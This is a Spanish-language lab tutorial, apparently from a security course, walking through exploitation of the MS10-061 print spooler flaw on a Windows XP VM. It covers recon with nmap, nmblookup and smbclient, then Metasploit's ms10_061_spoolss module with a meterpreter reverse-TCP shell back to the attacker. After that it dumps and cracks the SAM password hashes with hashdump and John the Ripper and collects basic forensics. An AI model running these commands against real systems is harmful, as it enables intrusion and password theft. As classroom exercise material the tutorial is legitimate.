Tabla de Contenidos

Metasploit 4

Escenario

¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina?  Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras.  Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior.

¿Qué es Helix?

Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense.  Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses.

¿Qué es la vulnerabilidad de suplantación del servicio de cola de impresión de Microsoft?

El módulo ms10_061_spoolss explota la vulnerabilidad de suplantación de servicios RPC (cola de impresión). Al realizar una solicitud RPC específica de DCE al procedimiento StartDocPrinter, un atacante puede suplantar el servicio de cola de impresión para crear un archivo.

El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado.

Referencias

Requisitos para hacer esta practica

Post requisitos

Que haremos en esta practica

Lo primero que tenemos que hacer es navegar a la siguiente URL HELIX y descargar el archivo en el windows xp

Abrimos Windows XP y añadimos una impresora, puede ser Canon, HP…

Se abre un terminal Kali y ejecutamos nmap contra el xp

nmap -sS -sU -O -p137-139,445 ip_xp

Se observa que el servicio (1) netbios-ssn está abierto el puerto 139/tcp, (2) microsoft-ds es abierto el puerto 445/tcp, y (3) el sistema operativo es Windows XP

Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando

NetBIOS es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local

Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP.

para buscar los nombre que utiliza la NetBIOS utilizaremos el comando nmblookup que realiza consultas de nombres NetBIOS y asignar direcciones IP en una red con NetBIOS sobre consultas de TCP/IP. Las opciones permiten las consultas de nombre ser dirigido en una determinada área de difusión IP o a una máquina en particular. Como se puede observar WXP es el nombre de estación de trabajo NetBIOS. Ahora tenemos la pieza final de reconocimiento para consulta NetBIOS acciones incluyendo las impresoras.

nmblookup -A ip_xp

La linea con el codigo <00> nos indica que es el nombre de la estacion de trabajo segun NetBios la linea con el codigo <20> nos indica el grupo de trabajo la linea con el codigo <01> indica el buscador por defecto

El codigo B nos esta indicando que es una red Broadcast

Acceso a los recursos SMB

smbclient -L \\WXP -I ip_xp -N

con la opcion (-L) lista los servicios que están disponibles en la estación de trabajo de NetBIOS.

Uso (-I) si el nombre NetBIOS no coincide con el nombre de host DNS de TCP/IP o si están tratando de llegar a un host de otra red.

con (-N) no solicitamos la contraseña

SMB funciona como un protocolo de red de capa de aplicación utilizado principalmente para proporcionar acceso compartido a archivos, impresoras y puertos serie

Lo importante es que está compartiendo impresoras como canon o hp

Se inicia el msfconsole

msfconsole
search ms10_061
use exploit/windows/smb/ms10_061_spoolss
info
set PAYLOAD windows/meterpreter/reverse_tcp
show options

set LHOST ip_kali
set RHOST ip_xp
set PNAME HP   (si se ha compartido con otro nombre la impresora con ese)

exploit

La puerta trasera se escribe en C:\WINDOWS\system32 y se usa para conectar y abrir una puerta trasera por el puerto 4444 en la maquina kali

el programa que ejecuta se llama en este caso RvOYs3UqrJq07a.exe

getuid
getpid
shell
tasklist /v /fi "PID eq "1876"
Cambia el PID por el que te ha salido con la sentencia getpid
netstat -nao | findstr "1876"

getuid mostrará el usuario que el servidor de meterpreter ejecuta en el xp.  Por consiguiente, NT AUTHORITYSYSTEM es la cuenta de administrador.

getpid proporciona el identificador de proceso (PID) de la sesión de meterpreter que se ejecuta en la máquina de la víctima.  Mi PID es (1876).

Shell proporciona acceso de línea de comandos a la máquina Windows.

tasklist, este comando mostrará una lista de aplicaciones y tareas/procesos asociados que se están ejecutando actualmente en el equipo local.

(/v) muestra una lista detallada de procesos;

(/fi) es un filtro; y ( “PID EQ ” 1876 “) filtrar o mostrar sólo un PID que coincida con 196.

netstat muestra conexiones de red. 

(-n) muestra direcciones y números de puerto en forma numérica

(-a) Muestra todas las conexiones y puertos de escucha

(-o) muestra el identificador de proceso propietario asociado a cada conexión.

Archivos Forenses Basicos

tasklist > forense_tasklist.txt
netstat -nao > forense_netstat.txt
dir > forense_dir.txt
exit

Comando 1, redirige la salida creada por TaskList en un archivo llamado forense_tasklist. txt. Comando 2, redirige la salida creada por netstat en un archivo llamado forense_netstat. txt. Comando 3, redirige la salida creada por dir en un archivo llamado forense_dir. txt.  Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter.

Obtener la base de datos SAM

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics

El administrador de cuentas de seguridad Security Account Manager (SAM) es un archivo de base de datos en Windows XP, Windows Vista y Windows 7 que almacena las contraseñas de los usuarios

hashdump
 # seleccionamos todo, boton derecho del raton y copiar

gnome-text-editor samhash.txt
# pegamos y guardamos el fichero

Preparacion para la recogida de datos de la memoria

mkdir -p /forense/ms10_061
cd /forense/ms10_061
nc -l -vvv -p 8888 > ms10_061.dd

Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe.

Se cambia el directorio en/forense /ms10_061.

Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd)

Memoria del XP

Click en CD/DVD(IDE)

Aceptamos pinchamos en la camara

En el momento que pulsamos start se empieza la captura de la memoria del xp a través de la red con la red netcat que se ejecuta en Kali

La pantalla negra desaparece cuando se haya terminado de copiar toda la memoria

Recuperar archivos del xp.

En el Kali

vemos que una ver terminado nos indica la cantidad de bits de memoria capturada

Descarga de los ficheros forenses en el meterpreter

pwd
download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/
download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/
download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/
download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/

RvOYs3UqrJqo7a.exe en vuestro caso el que se haya creado en el ordenador

En otra ventana de terminal ejecutaremos un John The Ripper

cp /samhash.txt .
grep -i admin samhash.txt > adminhash.txt
# cat /dev/null > /root/.john/john.pot (no)
john --format=nt adminhash.txt

print de pantalla final que hay que entregar

ls -lrta
grep "4444" *.txt
grep "1876" forense_tasklist.txt
# Reemplazalo por tu PID
grep "RvOYs3UqrJqo7a.exe" forense_tasklist.txt
grep "RvOYs3UqrJqo7a.exe" forense_dir.txt
# Reemplaza (RvOYs3UqrJqo7a.exe) por tu programa malicioso
date
echo "Tu nombre"